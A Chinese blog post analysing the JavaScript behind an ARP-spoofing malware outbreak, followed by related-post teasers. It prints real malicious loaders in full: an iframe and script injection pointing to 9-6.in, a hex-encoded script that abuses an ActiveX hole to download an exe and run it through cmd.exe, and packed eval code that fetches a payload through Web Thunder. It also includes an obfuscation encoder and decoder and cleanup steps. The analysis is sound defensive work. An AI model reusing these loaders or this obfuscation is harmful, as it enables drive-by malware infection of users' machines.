解析arp病毒背后利用的Javascript技术

网络攻防实战:从ARP欺骗到DDoS防御与加密技术解析 网络安全的核心在于理解协议栈各层的脆弱性并实施纵深防御。从数据链路层到应用层,攻击者利用协议缺陷发起攻击,例如利用ARP协议无认证机制进行ARP欺骗实现内网监听,或通过海量请求发起DDoS攻击耗尽目标资源。为应对这些威胁,加密技术(如AES、SM2)和数字签名构成了保障数据机密性、完整性与身份验证的基石,广泛应用于TLS通信、软件分发与系统更新。在工程实践中,结合Wireshark流量分析、华为防火墙策略配置等工具,可以构建从网络边界到主机、应用的动态防御体系。本文通过解析ARP欺骗、DDoS等经典攻击手法 阅读详情
 本文的目的是探讨JS相关技术,并不是以杀毒为主要目的,杀毒只是为讲解一些JS做铺垫的,呵呵,文章有点长,倒杯咖啡或者清茶慢慢看,学习切勿急躁!

最近公司的网络中了这两天闹的很欢的ARP病毒,导致大家都无法上网,给工作带来了很大的不方便,在这里写下杀毒的过程,希望对大家能有帮助!

现象:打开部分网页显示为乱码,好像是随机的行为,但是看似又不是,因为它一直在监视msn.com,呵呵,可能和微软有仇吧,继续查看源代码,发现头部有一个js文件链接----<script src=http://9-6.in/n.js></script>;

来源:经过一番网络搜索,发现这个域名是印度域名,而IP地址却是美国的,而且域名的注册日期是7月25日,看来一切都是预谋好了的,还是不管这个了,先解决问题吧;

分析:
1、先把(http://9-6.in/n.js)这个JS文件下载下来,代码如下:
-----------------------------------------------------------------------------------------------------------

    document.writeln("<script>window.onerror=function(){return true;}<//script>");
    document.writeln("<script src=/"http:////9-6.in//S368//NewJs2.js/"><//script>");
    document.writeln("<script>");
    document.writeln("function StartRun(){");
    document.writeln("var Then = new Date() ");
    document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)");
    document.writeln("var cookieString = new String(document.cookie)");
    document.writeln("var cookieHeader = /"Cookie1=/" ");
    document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
    document.writeln("if (beginPosition != -1){ ");
    document.writeln("} else ");
    document.writeln("{ document.cookie = /"Cookie1=POPWINDOS;expires=/"+ Then.toGMTString() ");
    document.writeln("document.write(/'<iframe width=0 height=0 src=/"http:////9-6.IN//s368//T368.htm/"><//iframe>/');");
    document.writeln("}");
    document.writeln("}");
    document.writeln("StartRun();");
    document.writeln("<//script>")

-----------------------------------------------------------------------------------------------------------
其中第一句window.onerror=function(){return true;}就先把JS错误屏蔽掉,真够狠的,呵呵,不这样怎么隐藏自己呢,哈哈!然后还有个JS文件http://9-6.in/S368/NewJs2.js,先继续往下看,找到StartRun();运行一个函数,函数的主要作用是写COOKIE,日期为保存一天,然后还用隐藏框架加载了一个文件(http://9-6.IN/s368/T368.htm),其余就没有什么特别的了;
2、下载(http://9-6.in/S368/NewJs2.js)这个文件,代码如下:
-----------------------------------------------------------------------------------------------------------

StrInfo =  "/x3c/x73/x63/x72/x69/x70/x74/x3e/x77/x69/x6e/x64/x6f/x77/x2e/x6f/x6e/x65/x72/x72/x6f/x72/x3d/x66/x75/x6e/x63/x74/x69/x6f/x6e/x28/x29/x7b/x72/x65/x74/x75/x72/x6e /x74/x72/x75/x65/x3b/x7d/x3c/x2f/x73/x63/x72/x69/x70/x74/x3e" +"/n"+
  "/x3c/x73/x63/x72/x69/x70/x74/x3e" +"/n"+
  " /x44/x5a/x3d/'///x78/x36/x38///x78/x37/x34///x78/x37/x34///x78/x37/x30///x78/x33/x41///x78/x32/x46///x78/x32/x46///x78/x33/x39///x78/x32/x44///x78/x33/x36///x78/x32/x45///x78/x36/x39///x78/x36/x45///x78/x32/x46///x78/x35/x33///x78/x33/x33///x78/x33/x36///x78/x33/x38///x78/x32/x46///x78/x35/x33///x78/x33/x33///x78/x33/x36///x78/x33/x38///x78/x32/x45///x78/x36/x35///x78/x37/x38///x78/x36/x35/'/x3b" +"/n"+
  " /x4e/x6f/x73/x6b/x73/x6c/x61/x3d/'/'/x3b" +"/n"+
  "/x66/x75/x6e/x63/x74/x69/x6f/x6e /x47/x6e/x4d/x73/x28/x6e/x29 " +"/n"+
  "/x7b " +"/n"+
  " /x76/x61/x72 /x6e/x75/x6d/x62/x65/x72/x4d/x73 /x3d /x4d/x61/x74/x68/x2e/x72/x61/x6e/x64/x6f/x6d/x28/x29/x2a/x6e/x3b" +"/n"+
  " /x72/x65/x74/x75/x72/x6e /'///x78/x37/x45///x78/x35/x34///x78/x36/x35///x78/x36/x44///x78/x37/x30/'/x2b/x4d/x61/x74/x68/x2e/x72/x6f/x75/x6e/x64/x28/x6e/x75/x6d/x62/x65/x72/x4d/x73/x29/x2b/'///x78/x32/x45///x78/x37/x34///x78/x36/x44///x78/x37/x30/'/x3b" +"/n"+
  "/x7d " +"/n"+
  " /x74/x72/x79 " +"/n"+
  "/x7b" +"/n"+
  " /x4e/x6f/x73/x6b/x73/x6c/x61/x3d/'/'/x3b" +"/n"+
  " /x76/x61/x72 /x42/x66/x3d/x64/x6f/x63/x75/x6d/x65/x6e/x74/x2e/x63/x72/x65/x61/x74/x65/x45/x6c/x65/x6d/x65/x6e/x74/x28/"///x78/x36/x46///x78/x36/x32///x78/x36/x41///x78/x36/x35///x78/x36/x33///x78/x37/x34/"/x29/x3b" +"/n"+
  " /x42/x66/x2e/x73/x65/x74/x41/x74/x74/x72/x69/x62/x75/x74/x65/x28/"///x78/x36/x33///x78/x36/x43///x78/x36/x31///x78/x37/x33///x78/x37/x33///x78/x36/x39///x78/x36/x34/"/x2c/"///x78/x36/x33///x78/x36/x43///x78/x37/x33///x78/x36/x39///x78/x36/x34///x78/x33/x41///x78/x34/x32///x78/x34/x34///x78/x33/x39///x78/x33/x36///x78/x34/x33///x78/x33/x35///x78/x33/x35///x78/x33/x36///x78/x32/x44///x78/x33/x36///x78/x33/x35///x78/x34/x31///x78/x33/x33///x78/x32/x44///x78/x33/x31///x78/x33/x31///x78/x34/x34///x78/x33/x30///x78/x32/x44///x78/x33/x39///x78/x33/x38///x78/x33/x33///x78/x34/x31///x78/x32/x44///x78/x33/x30///x78/x33/x30///x78/x34/x33///x78/x33/x30///x78/x33/x34///x78/x34/x36///x78/x34/x33///x78/x33/x32///x78/x33/x39///x78/x34/x35///x78/x33/x33///x78/x33/x36/"/x29/x3b" +"/n"+
  " /x76/x61/x72 /x4b/x78/x3d/x42/x66/x2e/x43/x72/x65/x61/x74/x65/x4f/x62/x6a/x65/x63/x74/x28/"///x78/x34/x44///x78/x36/x39///x78/x36/x33///x78/x37/x32///x78/x36/x46///x78/x37/x33///x78/x36/x46///x78/x36/x36///x78/x37/x34///x78/x32/x45///x78/x35/x38/"/x2b/"///x78/x34/x44///x78/x34/x43///x78/x34/x38///x78/x35/x34///x78/x35/x34///x78/x35/x30/"/x2c/"/"/x29/x3b" +"/n"+
  " /x76/x61/x72 /x41/x53/x3d/x42/x66/x2e/x43/x72/x65/x61/x74/x65/x4f/x62/x6a/x65/x63/x74/x28/"///x78/x34/x31///x78/x36/x34///x78/x36/x46///x78/x36/x34///x78/x36/x32///x78/x32/x45///x78/x35/x33///x78/x37/x34///x78/x37/x32///x78/x36/x35///x78/x36/x31///x78/x36/x44/"/x2c/"/"/x29/x3b" +"/n"+
  " /x4e/x6f/x73/x6b/x73/x6c/x61/x3d/'/'/x3b" +"/n"+
  " /x41/x53/x2e/x74/x79/x70/x65/x3d/x31/x3b" +"/n"+
  " /x4e/x6f/x73/x6b/x73/x6c/x61/x3d/'/'/x3b" +"/n"+
  " /x4b/x78/x2e/x6f/x70/x65/x6e/x28/"///x78/x34/x37///x78/x34/x35///x78/x35/x34/"/x2c /x44/x5a/x2c/x30/x29/x3b" +"/n"+
  " /x4e/x6f/x73/x6b/x73/x6c/x61/x3d/'/'/x3b" +"/n"+
  " /x4b/x78/x2e/x73/x65/x6e/x64/x28/x29/x3b" +"/n"+
  " /x4e/x6f/x73/x6b/x73/x6c/x61/x3d/'/'/x3b" +"/n"+
  " /x4e/x73/x31/x3d/x47/x6e/x4d/x73/x28/x39/x39/x39/x39/x29/x3b" +"/n"+
  " /x4e/x6f/x73/x6b/x73/x6c/x61/x3d/'/'/x3b" +"/n"+
  " /x76/x61/x72 /x63/x46/x3d/x42/x66/x2e/x43/x72/x65/x61/x74/x65/x4f/x62/x6a/x65/x63/x74/x28/"///x78/x35/x33///x78/x36/x33///x78/x37/x32///x78/x36/x39///x78/x37/x30///x78/x37/x34///x78/x36/x39///x78/x36/x45///x78/x36/x37///x78/x32/x45///x78/x34/x36///x78/x36/x39///x78/x36/x43///x78/x36/x35///x78/x35/x33///x78/x37/x39///x78/x37/x33///x78/x37/x34///x78/x36/x35///x78/x36/x44///x78/x34/x46///x78/x36/x32///x78/x36/x41///x78/x36/x35///x78/x36/x33///x78/x37/x34/"/x2c/"/"/x29/x3b" +"/n"+
  " /x76/x61/x72 /x4e/x73/x54/x6d/x70/x3d/x63/x46/x2e/x47/x65/x74/x53/x70/x65/x63/x69/x61/x6c/x46/x6f/x6c/x64/x65/x72/x28/x30/x29/x3b /x4e/x73/x31/x3d /x63/x46/x2e/x42/x75/x69/x6c/x64/x50/x61/x74/x68/x28/x4e/x73/x54/x6d/x70/x2c/x4e/x73/x31/x29/x3b /x41/x53/x2e/x4f/x70/x65/x6e/x28/x29/x3b/x41/x53/x2e/x57/x72/x69/x74/x65/x28/x4b/x78/x2e/x72/x65/x73/x70/x6f/x6e/x73/x65/x42/x6f/x64/x79/x29/x3b" +"/n"+
  " /x41/x53/x2e/x53/x61/x76/x65/x54/x6f/x46/x69/x6c/x65/x28/x4e/x73/x31/x2c/x32/x29/x3b /x41/x53/x2e/x43/x6c/x6f/x73/x65/x28/x29/x3b /x76/x61/x72 /x71/x3d/x42/x66/x2e/x43/x72/x65/x61/x74/x65/x4f/x62/x6a/x65/x63/x74/x28/"///x78/x35/x33///x78/x36/x38///x78/x36/x35///x78/x36/x43///x78/x36/x43///x78/x32/x45///x78/x34/x31///x78/x37/x30///x78/x37/x30///x78/x36/x43///x78/x36/x39///x78/x36/x33///x78/x36/x31///x78/x37/x34///x78/x36/x39///x78/x36/x46///x78/x36/x45/"/x2c/"/"/x29/x3b" +"/n"+
  " /x6f/x6b/x31/x3d/x63/x46/x2e/x42/x75/x69/x6c/x64/x50/x61/x74/x68/x28/x4e/x73/x54/x6d/x70/x2b/'///x78/x35/x43///x78/x35/x43///x78/x37/x33///x78/x37/x39///x78/x37/x33///x78/x37/x34///x78/x36/x35///x78/x36/x44///x78/x33/x33///x78/x33/x32/'/x2c/'///x78/x36/x33///x78/x36/x44///x78/x36/x34///x78/x32/x45///x78/x36/x35///x78/x37/x38///x78/x36/x35/'/x29/x3b" +"/n"+
  " /x71/x2e/x53/x48/x65/x4c/x4c/x45/x78/x65/x63/x75/x74/x65/x28/x6f/x6b/x31/x2c/'///x78/x32/x30///x78/x32/x46///x78/x36/x33 /'/x2b/x4e/x73/x31/x2c/"/"/x2c/"///x78/x36/x46///x78/x37/x30///x78/x36/x35///x78/x36/x45/"/x2c/x30/x29/x3b" +"/n"+
  " /x4e/x6f/x73/x6b/x73/x6c/x61/x3d/'/'/x3b" +"/n"+
  "/x7d " +"/n"+
  " /x63/x61/x74/x63/x68/x28/x4d/x73/x49/x29 /x7b /x4d/x73/x49/x3d/x31/x3b /x7d" +"/n"+
  " /x4e/x6f/x73/x6b/x73/x6c/x61/x3d/'/'/x3b" +"/n"+
  "/x3c/x2f/x73/x63/x72/x69/x70/x74/x3e"

window["/x64/x6f/x63/x75/x6d/x65/x6e/x74"]["/x77/x72/x69/x74/x65"](StrInfo);

-----------------------------------------------------------------------------------------------------------
这个代码有点长哦,而且有保护措施,全部转换为十六进制,不过不要害怕,我们有办法解决,首先得确保你已经安装了UE,然后打开UE,把代码粘贴进去(废话,呵呵),把/x替换为%,然后用html代码转换功能,解码,就可以得到第一次解码的代码,第一次???,呵呵,这个代码的作者很变态的,做了两次编码,所以我得进行两次解码才行,重复刚才的步骤,然后你就可以看到最终的“原始”代码了;
具体的代码我就不帖出来了,有一定的危害性,相信大家看了上面的步骤都能自己找到代码,这里之说一下比较核心的代码吧;
-----------------------------------------------------------------------------------------------------------

//核心代码
..............
  " var Bf=document.createElement(/"/o/b/j/e/c/t/");" +"/n"+
  " Bf.setAttribute(/"/c/l/a/s/s/i/d/",/"/c/l/s/i/d/:/B/D/9/6/C/5/5/6/-/6/5/A/3/-/1/1/D/0/-/9/8/3/A/-/0/0/C/0/4/F/C/2/9/E/3/6/");" +"/n"+
  " var Kx=Bf.CreateObject(/"/M/i/c/r/o/s/o/f/t/./X/"+/"/M/L/H/T/T/P/",/"/");" +"/n"+
  " var AS=Bf.CreateObject(/"/A/d/o/d/b/./S/t/r/e/a/m/",/"/");" +"/n"+
.............
  " var cF=Bf.CreateObject(/"/S/c/r/i/p/t/i/n/g/./F/i/l/e/S/y/s/t/e/m/O/b/j/e/c/t/",/"/");" +"/n"+
  " var NsTmp=cF.GetSpecialFolder(0); Ns1= cF.BuildPath(NsTmp,Ns1); AS.Open();AS.Write(Kx.responseBody);" +"/n"+
  " AS.SaveToFile(Ns1,2); AS.Close(); var q=Bf.CreateObject(/"/S/h/e/l/l/./A/p/p/l/i/c/a/t/i/o/n/",/"/");" +"/n"+
  " ok1=cF.BuildPath(NsTmp+/'/////s/y/s/t/e/m/3/2/',/'/c/m/d/./e/x/e/');" +"/n"+
  " q.SHeLLExecute(ok1,/'/ ///c /'+Ns1,/"/",/"/o/p/e/n/",0);" +"/n"+
..............

-----------------------------------------------------------------------------------------------------------
上面的就是最为核心的代码,利用MS0614漏洞、创建JS异步对象获取病毒(*.exe)文件,然后运行,这样就达到它的目的啦!
3、打开http://9-6.IN/s368/T368.htm查看源代码,又发现一段怪异的JS文件,如下:
-----------------------------------------------------------------------------------------------------------

<script>
    eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--)d[c.toString(a)]=k[c]||c.toString(a);k=[function(e){return d[e]}];e=function(){return'//w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('//b'+e(c)+'//b','g'),k[c]);return p}('x("//0//6//9//5//i//h//j//j//4//f//8//3//2//0//7//1//i//8//2//3//h//g//4//w//v//u//t//b//s//7//r//g//4//e//f//q//8//3//2//0//7//1//e//4//d//c//d//c//p//5//3//o//n//a//6//1//b//m//2//0//1//a//l//0//6//9//5//k")',34,34,'151|164|162|143|42|157|156|160|163|146|145|56|12|15|76|74|134|75|40|11|51|50|167|155|165|144|57|147|152|70|66|63|123|eval'.split('|'),0,{}))
</script>

-----------------------------------------------------------------------------------------------------------
可以看出这段代码也是经过加密的了,特征为function(p,a,c,k,e,d),这种加密方法网上有很多例子,我就不细说了,附上解密代码:
-----------------------------------------------------------------------------------------------------------

//以下代码为网上搜索所得,版权归原作者所有
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>无标题文档</title>
</head>

<body>
<script>
a=62; 
function encode() {
 var code = document.getElementById('code').value;
 code = code.replace(/[/r/n]+/g, '');
 code = code.replace(/'/g, "//'");
 var tmp = code.match(//b(/w+)/b/g);
 tmp.sort();
 var dict = [];
 var i, t = '';
 for(var i=0; i<tmp .length; i++) {
   if(tmp[i] != t) dict.push(t = tmp[i]);
 }
 var len = dict.length;
 var ch;
 for(i=0; i<len; i++) {
   ch = num(i);
   code = code.replace(new RegExp('//b'+dict[i]+'//b','g'), ch);
   if(ch == dict[i]) dict[i] = '';
 }
 document.getElementById('code').value = "eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'////w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('////b'+e(c)+'////b','g'),k[c]);return p}("
   + "'"+code+"',"+a+","+len+",'"+ dict.join('|')+"'.split('|'),0,{}))";
}
 
function num(c) {
 return(c<a ?'':num(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36));
}
 
function run() {
 eval(document.getElementById('code').value);
}

function decode() {
 var code = document.getElementById('code').value;
 code = code.replace(/^eval/, '');
 document.getElementById('code').value = eval(code);
}
</script>

<textarea id=code cols=80 rows=20>
 
</textarea><br />
<input type=button onclick=encode() value=编码/>
<input type=button onclick=run() value=执行/>
<input type=button onclick=decode() value=解码/>
</body>
</html>

-----------------------------------------------------------------------------------------------------------
经过解密后代码为:
-----------------------------------------------------------------------------------------------------------

info =        "<script src=/"S368.jpg/"></script>"

document.write(info)

-----------------------------------------------------------------------------------------------------------
继续打开这个表面象图片的链接,呵呵,当然不会是MM图片了,查看源代码,找到如下代码:
-----------------------------------------------------------------------------------------------------------

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'//w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('//b'+e(c)+'//b','g'),k[c]);return p}('E n=1c;12 13(){}12 14(){1d{n=1e 1f("//K//l//r//8//i//3//6//j//3//6//o//3//6//9//C//3//s//K//l//r//8//i//3//6//9//x")}1g(e){Q}E a=n["//15//3//4//p//d//8//m//7//k"]("//w//8//4//7//o//7//6//r//f","//R//7//q//3//v//5//4//l","");1h(a["//7//8//i//3//y//L//m"]("//z//f//l//4//5//9//3//y//3")!=-1){Q}E b=n["//15//3//4//j//3//6//o//3//6//v//5//4//l"]();b=b["//f//r//s//f//4//6"](0,2);b+="//////v//6//d//k//6//5//J//x//////K//l//r//8//i//3//J//x//////1i//3//s//K//l//r//8//i//3//6//////A//6//d//m//7//q//3//f//////r//f//3//6//h//d//8//m//7//k//9//7//8//7";n["//j//3//4//p//5//q//q//s//5//h//1j//F//8//4//6//D"](1k,13);E c=n["//w//i//i//p//5//4//3//k//d//6//D"]("//7");E c=n["//w//i//i//p//5//4//3//k//d//6//D"]("//5");E c=n["//w//i//i//p//5//4//3//k//d//6//D"]("//s");E c=n["//w//i//i//p//5//4//3//k//d//6//D"]("//h");E c=n["//w//i//i//p//5//4//3//k//d//6//D"]("//i");n["//j//3//4//p//d//8//m//7//k"]("//j//5//o//3//v//5//4//l","//7","//S//f//h//6//7//A//4//16//o//5//6 //f//G//8//3//C //w//h//4//7//o//3//N//L//s//T//3//h//4//t//"//C//f//h//6//7//A//4//9//f//l//3//q//q//"//u//g//o//5//6 //d//G//8//3//C //w//h//4//7//o//3//N//L//s//T//3//h//4//t//"//f//l//3//q//q//9//5//A//A//q//7//h//5//4//7//d//8//"//u//g//o//5//6 //5//B//s//B//h//B//i//B//3//B//m//B//k//g");n["//j//3//4//p//d//8//m//7//k"]("//j//5//o//3//v//5//4//l","//5","//H//g//f//9//U//r//8//t//"//p//V//////////v//6//d//k//6//5//J//x//////////I//8//4//3//6//8//J//x//////////I//F//N//v//17//L//U//F//9//F//N//F //l//4//4//A//1l//O//O//h//1m//x//W//7//18//O//j//X//19//1a//O//i//1n//C//18//Y//Y//W//l//4//Y//1o//"//B//H//B//H//u//g//f//9//U//r//8//t//"//h//z//i//9//3//y//3 //Z//h //4//6//3//3 //h//V//////// //Z//m//"//B//H//B//x//u//g");n["//j//3//4//p//d//8//m//7//k"]("//j//5//o//3//v//5//4//l","//s","//f//9//j//A//3//h//7//5//q//R//d//q//i//3//6//f//t//"//1p//D//1q//d//h//r//z//3//8//4//f//"//u//g//s//G//s//9//f//r//s//f//4//6//7//8//k//t//H//B//s//9//q//5//f//4//I//8//i//3//y//L//m//t//"//////////"//u//u//g//s//P//G//"//////////q//d//h//5//q//f//J//x//////////K//3//z//A//d//6//J//x//////////p//d//8//4//3//8//4//9//I//F//1r//////////"//g");n["//j//3//4//p//d//8//m//7//k"]("//j//5//o//3//v//5//4//l","//h","//d//9//1s//5//z//3//j//A//5//h//3//t//s//u//g//m//d//6//t//5//G//H//g//5//S//h//9//I//4//3//z//f//t//u//9//p//d//r//8//4//g//5//P//P//u//10 //o//5//6 //m//G//h//9//I//4//3//z//f//t//u//9//I//4//3//z//t//5//u//9//v//5//4//l//g//m//P//G//"//////////j//X//19//1a//1b//1t//x//1u//W//3//y//3//"//g");n["//j//3//4//p//d//8//m//7//k"]("//j//5//o//3//v//5//4//l","//i","//H//g//4//6//D//10//f//9//F//y//3//h//t//m//u//g//11//h//5//4//h//l//t//3//u//10//11//g//11//C//7//8//i//d//C//9//h//q//d//f//3//t//u//g//S//Z//f//h//6//7//A//4//16");n["//j//3//4//p//d//8//m//7//k"]("//w//8//4//7//o//7//6//r//f","//v//6//d//4//3//h//4","//x");n["//j//3//4//p//d//8//m//7//k"]("//w//8//4//7//o//7//6//r//f","//R//7//q//3//v//5//4//l","//h//V//////C//7//8//i//d//C//f//////f//D//f//4//3//z//X//1b//////z//f//l//4//5//9//3//y//3");n["//j//3//4//p//d//8//m//7//k"]("//w//8//4//7//o//7//6//r//f","//v//5//6//5//z//3//4//3//6",b);n["//j//3//4//p//d//8//m//7//k"]("//w//8//4//7//o//7//6//r//f","//F//y//4//17//7//f//4","//9//6//5//6//g//9//M//7//A//g//9//3//y//3//g//9//i//d//h//g//9//h//d//z//g//9//s//7//8//g//9//k//M//g//9//M//g//9//4//5//6//g//9//5//6//T//g//9//q//M//l//g//9//f//7//4//g//9//l//1v//y//g//9//4//k//M//g//9//i//q//q//g//9//d//h//y//g//9//o//s//y//g");n["//j//3//4//p//d//8//m//7//k"]("//w//8//4//7//o//7//6//r//f","//1w//f//3//6//j//3//4","//x");Q}14();',62,95,'|||x65|x74|x61|x72|x69|x6e|x2e||||x6f||x73|x3b|x63|x64|x53|x67|x68|x66|odks63ls|x76|x43|x6c|x75|x62|x28|x29|x50|x41|x31|x78|x6d|x70|x2c|x77|x79|var|x45|x3d|x30|x49|x7e|x54|x4f|x7a|x58|x2F|x2b|return|x46|x3c|x6a|x52|x3a|x2E|x33|x6D|x2f|x7b|x7d|function|assort_panel_enabled|pslcdkc|x47|x3e|x4c|x6E|x36|x38|x32|null|try|new|ActiveXObject|catch|if|x57|x6b|106|x3A|x6B|x6F|x6C|x4d|x44|x35|x4e|x5B|x5D|x71|x55'.split('|'),0,{}))

-----------------------------------------------------------------------------------------------------------
又是好长的代码,又发现了function(p,a,c,k,e,r),继续解码,代码很长,请大家自己解码查看吧,这里应用的还是上面的手法,用加密函数加密,然后转换为十六进制,尽最大努力混淆我们的视线,来达到不可告人的目的,这里的代码的主要作用是用另外一种方法下载病毒并运行,思想真的很先进,居然是去调用Web迅雷来下载病毒,然后去运行,作者真的是煞费苦心啊,应用了两种方法下载病毒,“小样,就不信毒不倒你!”,呵呵
杀毒:说了半天只是分析了一下ARP病毒发作的时候在干什么,下面就说下关于杀毒的问题,其实现在网上有很多这方面的相关教程,我就简单总结一下我的杀毒过程吧;
1、中了arp病毒必须要先找到中毒的机器
2、给这个机器断网、杀毒
3、恢复局域网
其中第一步最关键了,如何才能找到呢?
在局域网随便一台客户机上打开网上邻居,查看工作组计算机,然后等到列表刷新出来后,迅速点击开始-->运行-->cmd-->arp -a回车,如果机器比较多,请多输入几次arp -a,然后仔细查看,你会发现有一台机器的Mac地址和网关的Mac地址相同,恭喜你,这就是那个毒源!
到这台机器的跟前(呵呵,废话真多),剩下的工作相信大家都有很多经验了吧,杀毒!装杀毒软件或者进安全模式更甚者重装机器,总之把病毒干掉就行了;
最后,到不能打开网页的机器上执行这个命令:点击开始-->运行-->cmd-->arp -d回车,然后就可以了。、
iis问题汇总(网页被arp木马篡改的问题) <br /> <br />微软的东西就是树大招风啊,病毒的重点攻击目标.问题解决如下:<br />  1.iis服务器不稳定,有的网页能开,有的显示500错误,不是帐号同步问题,没办法,重装n遍iis搞定<br />  2.BLOG显示ACCESS数据库连接错,问题出在WINDOWS的临时文件夹,估计网页调用数据库需要在TEMP目录缓存,必须给该目录IUSR用户的读写权限.<br />  3.最挠头的问题来了,症状:客户机打开的网页查看源代码都被加了一行< frame src=’http://iii.832 阅读详情

相关推荐

[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探

这是作者的系列网络安全自学教程,主要是关于网安工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步。前文分享了分享机器学习在安全领域的应用,并复现一个基于机器学习(逻辑回归)的恶意请求识别。这篇文章简单叙述了Web安全学习路线,并实现了最简单的木马和病毒代码,希望对读者有所帮助。

杨秀璋的专栏 3万+

前端网络基础-跨网段ARP请求过程

1、主机A网络层在收到数据,并封装为数据包后,准备发送数据包之前,根据IP协议来判断:目标IP地址和自身IP地址是否在同一个子网,发现目标IP不在当前子网内,所以该数据包应该交由默认网关来转发2、主机A检查自身ARP缓存表,根据默认网关IP找mac地址,如果没找到,则广播一条arp请求,默认网关收到广播请求,先缓存主机的ip->mac映射到自身arp表,再发送一个单播arp响应给主机A。

2401_84097520的博客 1113

arpjs:使用 Javascript 发送 ARP 数据包并读取 ARP 表

arpjs 使用 Javascript 发送 ARP 数据包并读取 ARP 表 特征 发送具有完全控制权的 ARP 数据包。 解析操作系统 ARP 表。 ARP毒药会给定目标。 安装 npm install arpjs 用法 在您的代码中包含 arpjs var arp = require ( 'arpjs' ) 发送ARP请求 arp . send ( { 'op' : 'request' , 'src_ip' : '10.105.50.100' , 'dst_ip' : '10.105.50.1' , 'src_mac' : '8f:3f:20:33:54:44' , 'dst_mac' : 'ff:ff:ff:ff:ff:ff' } ) 选择网络接口 默认情况下,arpjs 选择活动网络接口之一来发送数据包。 如果要选择特定接口,请使用setInt

Arp病毒利用的Javascript技术

本文的目的是探讨JS相关技术,并不是以杀毒为主要目的,杀毒只是为讲解一些JS做铺垫的,呵呵,文章有点长,倒杯咖啡或者清茶慢慢看,学习切勿急躁! 最近公司的网络中了这两天闹的很欢的ARP病毒,导致大家都无法上网,给工作带来了很大的不方便,在这里写下杀毒的过程,希望对大家能有帮助! 现象: 打开部分网页显示为乱码,好像是随机的行为,但是看似又不是,因为它一直在监视msn.com,呵呵,...

abc11111118的博客 209

影像组学分析流程中,图像分割前要做的事(图像预处理)

在InputVolume中无法找到自己想要重采样的序列,这时可以检查一下序列的Volume type是不是MRMLMulti。这时,Volume type将由MRMLMulti改为Scaler,随后即可在3D slicer中完成Resample Scaler Volume。2.1、重采样:通过3Dslicer中的Resample Scaler Volume实现。具体设置参数:spacing(1,1,1),Interpolation选择Bspline。2、图像预处理:重采样和标准化。

weixin_45011313的博客 3725

InSAR_ISCE软件数据处理流程之:利用哨兵数据获取2015年尼泊尔地震同震形变场

ISCE软件数据处理流程之:利用哨兵数据获取2015年尼泊尔地震同震形变场 ISCE软件做干涉只需要将数据准备好,并配置好insarApp.xml文件即可进行。 一、数据准备 1、SAR数据获取 本利中使用的数据为欧空局提供的sentinel-1A/B数据,可从阿拉斯加数据服务器上下载,具体下载方法可参考: 哨兵数据下载方法. 2、哨兵卫星轨道文件下载 哨兵数据处理除了需要SAR影像外,还需提供轨道参数文件,可从https://qc.sentinel1.eo.esa.int/aux_poeorb/下载。下载

weixin_42128764的博客 1万+

arp攻击代码--自己手动填入arp

windows: //#if 0 #define _CRT_SECURE_NO_DEPRECATE #include "pcap.h" //#include #include #pragma comment(lib, "Iphlpapi.lib") #pragma comment(lib,"wpcap") #pragma comment(lib,"ws2_32") //===

w1242245的专栏 5457

Unity动态创建Avatar骨骼映射

Unity Avatar骨骼映射动态创建,适配Unity通用动画,无需经过第三方建模软件,可运行时创建

Nbin_Newby的博客 1万+

window.onerror()的用法

<br />window.onerror = function(sMessage,sUrl,sLine){};<br />onerror函数的三个参数用于确定错误确切的信息,代表的意思依次为:错误信息;发生错误的文件;发生错误的行号。<br />示例:<SCRIPT><br /> window.onerror=fnErrorTrap;<br /> function fnErrorTrap(sMsg,sUrl,sLine){<br /> oErrorLog.innerHTML="<b>An error

皮之不存,毛将焉附 3225

Keil v5.11给STM32烧录程序记录

1)安装KeilMDK511 2)安装ST Link下载器驱动 3)打开Keil v5,加载工程文件 4)load pack(Keil.STM32F1xx_DFP.1.1.0和Keil.STM32F0xx_DFP.1.2.0) 5)编译程序- 0 Error(s), 0 Warning(s). 6)烧录程序 ...

守望的距离 6282

智算中心建设全流程指南:从规划到落地

智算中心的建设是一个复杂而系统的过程,涉及选址、立项、办理相关手续、设计、土建、机电安装、调试、验收等多个环节。每个环节都需要充分考虑各种因素,并注意相关的事项,以确保智算中心的顺利建设和高效运行

数据中心全生命周期价值管理 3402

arp病毒利用的Javascript技术

本文的目的是探讨JS相关技术,并不是以杀毒为主要目的,杀毒只是为讲解一些JS做铺垫的,呵呵,文章有点长,倒杯咖啡或者清茶慢慢看,学习切勿急躁!最近公司的网络中了这两天闹的很欢的ARP病毒,导致大家都无法上网,给工作带来了很大的不方便,在这里写下杀毒的过程,希望对大家能有帮助!现象:打开部分网页显示为乱码,好像是随机的行为,但是看似又不是,因为它一直在监视msn.com,呵呵,可能和微软

hulefei29的专栏 884

“/usr/lib/wsl/wsl-setup“ failed, exiting

WSL2安装Ubuntu时出现"wsl-setup failed"错误的解决方法 摘要:当Windows用户名包含中文字符时,安装WSL2+Ubuntu会出现"wsl-setup failed"错误。本文提供两种解决方案:1)修改中文用户名(风险较大);2)通过命令手动配置。推荐第二种方法:先使用"wsl -l -v"查看Ubuntu名称,再通过"wsl -d Ubuntu20.04 -e /bin/bash"命令启动WSL2系

猿小白的博客 1000

ARP病毒

